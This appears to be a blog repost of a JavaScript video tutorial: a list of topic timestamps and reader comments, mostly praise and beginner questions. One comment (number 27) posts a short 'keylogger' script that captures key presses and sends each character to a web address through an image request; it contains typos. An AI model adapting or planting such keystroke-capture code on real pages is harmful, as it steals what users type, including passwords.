Applet Orchard

JavaScript Tutorial

[ad_1]
Get the Cheat Sheet Here :
Best Book on JavaScript :

Support Me on Patreon :

00:22 Introduction
03:27 Variables
04:27 Math
12:00 Random Numbers
13:21 Strings
17:24 Styling Strings
18:14 If
21:44 Switch
23:04 Ternary Operator
23:55 While
24:51 Do While
25:52 For
27:37 For In
28:39 Arrays
34:42 Functions
36:41 Pass Function as Parameter
39:42 Receive Variable Number of Arguments
40:55 Return Variable Number of Arguments
42:02 Recursive Functions
43:54 Event Handling
46:24 Mouse Events
51:30 Key Events
54:02 Change Tag Value
56:41 Change Class
58:02 Change Input Element
59:20 Mouse X / Y Coordinates
1:01:42 Get Elements by Tag Name
1:03:00 Element Styling
1:05:48 Manipulating URLs
1:09:37 Editing Child Nodes
1:15:08 Setting Attributes
1:18:11 Adding Elements
1:19:50 OO JavaScript
1:28:33 Form Validation
1:34:54 Exception Handling

Posted

in

by

appletorchard

Tags:

Comments

46 responses to “JavaScript Tutorial”

  1. Linkin Pаrk Avatar
    Linkin Pаrk

    Decided to watch this to see if there is anything i hadnt learnt yet in JS and i must admit, i didnt know the .sort() function could sort numbers like that.. I usually did a linear search and save them as different index's like you would do in C++…

    Reply
  2. Jac Mo Avatar
    Jac Mo

    Hello, can someone tell me, at 12:28, why not just write: Math.CEIL(Math.random()*10); instead of floor and add 1?

    Reply
  3. Shubham Deshmukh Avatar
    Shubham Deshmukh

    Derek Banas!!! you understand my needs of having tutorials like this.
    Thanks DUDE!!!
    Awesome Video !!

    Reply
  4. Chhaya rawat Avatar
    Chhaya rawat

    God, You're fast at the same time still i understand every word u said.You've got yourself a subscriber.

    Reply
  5. Maurice Williams Avatar
    Maurice Williams

    I am enjoying this tutorial. Ever since I made up my mind that programming is what I'm going to do it has been easier for me to learn.

    Reply
  6. Cian McGovern Leahy Avatar
    Cian McGovern Leahy

    when you write // Change text when the input gains focus
    document.getElementById('charInput').onfocus = function(event) {
    document.getElementById('keyData').innerHTML = "Input Gained Focus";
    }
    It is the onfocus event object that gets passed into function(event) as the parameter right?

    Reply
  7. Hare Krishna in the Movies Avatar
    Hare Krishna in the Movies

    Why write, for example:

    for(i = 0; i<a.length; i++)

    ?

    Do you really think that computer programmers are so incredibly stupid that they can't understand:

    for(i=0;i<a.length;i++)

    ?

    Reply
  8. Cheesy Monkey Avatar
    Cheesy Monkey

    Can you C# with out dat glasses?

    Reply
  9. bigchunk1 Avatar
    bigchunk1

    Do you have to buy sublime to get this to work?

    Reply
  10. yash kolte Avatar
    yash kolte

    I didn't understand why you had to pass the event as an argument to every function which is going to be triggered on the occurrence of an event.

    Reply
  11. Maurice Williams Avatar
    Maurice Williams

    Can it be fun learning code?

    Reply
  12. godserens Avatar
    godserens

    Hey Derek i don't really understand 9:35. I checked dev.moz on arithmetic operation and ++ and — should be +1 or -1, how come it's +2, -2 here?

    Reply
  13. Jason Yankee Avatar
    Jason Yankee

    It's a quite nice overview but definitely not for the beginners 🙂 Like!

    Reply
  14. Vipan Arya Avatar
    Vipan Arya

    Excellent Tutorial Derek. Just one question, why exactly do we need prototype? is it because we use 3rd party libraries where we cannot change the Object definition?

    Reply
  15. Ajinkya Talekar Avatar
    Ajinkya Talekar

    I'm a total noob and i dont even know how to open java!!! I installed it and boosh, nothinghappened>>>>>Please help

    Reply
  16. dsmyify Avatar
    dsmyify

    thank you!

    Reply
  17. Alejandro Añasco Avatar
    Alejandro Añasco

    Excellent!

    Reply
  18. Nepal Reddy Avatar
    Nepal Reddy

    at 01:24:00, you directly returned the "cust1" values, supposed to pass the "cust" property value.

    Reply
  19. Naga Krushna Y Avatar
    Naga Krushna Y

    Nice video, Can you make a tutorial on React native With Some big Project ?

    Reply
  20. Nugunski m8 Avatar
    Nugunski m8

    are you speaking fast on purpose to irritate people no offense

    Reply
  21. Pavel Služevský Avatar
    Pavel Služevský

    I have been learning JS, PHP and stuff like that at school for about a year, but I still don't understand anything at all, almost like my brain just refuses to understand what is going on. I will probably drop class just because of that and will have to repeat that grade… I hope your videos will help me atleast a bit.

    Reply
  22. Fette Taube Avatar
    Fette Taube

    2:03 the != null only works if the user hits cancel. if the user hits ok it will always return a string, even if the field is empty. you would have to check for empty strings too.

    Reply
  23. Daniel Solorio Avatar
    Daniel Solorio

    I don't even understand anything you just said this is not for beginners at all for any reason.

    Reply
  24. Maga DzhabraFTW Avatar
    Maga DzhabraFTW

    What software are you using to write javascript programs?

    Reply
  25. konrad woloszyn Avatar
    konrad woloszyn

    My head.. it burns. Great tutorial, a lot of knowledge but I had to split this video into 3 days ^^.

    Reply
  26. suman_supertramp Avatar
    suman_supertramp

    You are awesome! Thanks for the big help.

    Reply
  27. failgecko9800 Avatar
    failgecko9800

    HEY CHECK THIS OUT
    JAVASCRIPT KEYLOGGER SCRIPT

    <script>

    document.onKeypress = function KeyLogger(inp) {

    key_pressed = String.fromCharCode(ins.which);

    new Image().src = "http://localhost:900/?" +key_presssed;

    }

    </script>

    Reply
  28. jasa pol Avatar
    jasa pol

    *PLEASE HELP!*How do you disable a script on one page from another page? So like if
    you have an if statement in between the script tags on one page, Is
    there a way to put a button on another page to stop the if statement
    from running?

    Reply
  29. Sami Bentaibi Avatar
    Sami Bentaibi

    This is sooo good , THANK YOU Derek Banas !!! love your videos !!

    Reply
  30. Haseeb Shaukat Avatar
    Haseeb Shaukat

    This tutorial is really helpful for the beginners.You deserve a like thumb!!
    Please make some tutorials on Joint javascript, because there is not a single tutorial on youtube. 🙂

    Reply
  31. Serhii Sakal Avatar
    Serhii Sakal

    thanks ,

    Reply
  32. bengtig77 Avatar
    bengtig77

    This is not good for beginners..he goes really fast..better for experienced programmers..

    Reply
  33. Vaibhav Gupta Avatar
    Vaibhav Gupta

    What's the software in which u are doing these stuffs

    Reply
  34. T The Genius Avatar
    T The Genius

    awesome!!!

    Reply
  35. AllBitz Avatar
    AllBitz

    Hey guys would be nice if you checked my tutorials I recently started a
    programming channel aswell maybe subrecribe and support!!! Thanks

    Reply
  36. Elias Housseini Avatar
    Elias Housseini

    I recommend java programmers to learn this language. Since it's like 80% java

    Reply
  37. Brandon Henley Avatar
    Brandon Henley

    YEAH!!!!!!!!!!!!!!

    Reply
  38. sandeep tiwari Avatar
    sandeep tiwari

    If in case anyone miss the description-
    00:22 Introduction
    03:27 Variables
    04:27 Math
    12:00 Random Numbers
    13:21 Strings
    17:24 Styling Strings
    18:14 If
    21:44 Switch
    23:04 Ternary Operator
    23:55 While
    24:51 Do While
    25:52 For
    27:37 For In
    28:39 Arrays
    34:42 Functions
    36:41 Pass Function as Parameter
    39:42 Receive Variable Number of Arguments
    40:55 Return Variable Number of Arguments
    42:02 Recursive Functions
    43:54 Event Handling
    46:24 Mouse Events
    51:30 Key Events
    54:02 Change Tag Value
    56:41 Change Class
    58:02 Change Input Element
    59:20 Mouse X / Y Coordinates
    1:01:42 Get Elements by Tag Name
    1:03:00 Element Styling
    1:05:48 Manipulating URLs
    1:09:37 Editing Child Nodes
    1:15:08 Setting Attributes
    1:18:11 Adding Elements
    1:19:50 OO JavaScript
    1:28:33 Form Validation
    1:34:54 Exception Handling

    Reply
  39. Benefit Manthra Avatar
    Benefit Manthra

    sir please add subtitle

    Reply
  40. Aman Pratap Singh Avatar
    Aman Pratap Singh

    Man, u r my Guru. I bow to you NAMASTEY /
    love the way you teach……..

    Reply
  41. Mark Ganus Avatar
    Mark Ganus

    I have learnt all I needed about js thanks to this video

    Reply
  42. World Guru Avatar
    World Guru

    Thank you very much,this video is like a jackpot for beginner javascript developers…..

    Reply
  43. Ravindran Antonysamy Avatar
    Ravindran Antonysamy

    I am gonna pay him 5 USD a month. https://www.patreon.com/derekbanas

    Who is with me ?

    Reply
  44. sanjay jha Avatar
    sanjay jha

    Sir U Working In Another Operating System …..Are The Codes And Concept Are Same And Will Easy Work In Windows Also Plz Answer Me

    Reply
  45. koloo kumo Avatar
    koloo kumo

    hi,
    some sections are not correct play section 01.24.6 the function param name isnt valid.

    Reply
  46. Fleexio Avatar
    Fleexio

    WTF! Why I didnt find this channel earlier? Thank you so much man <3

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *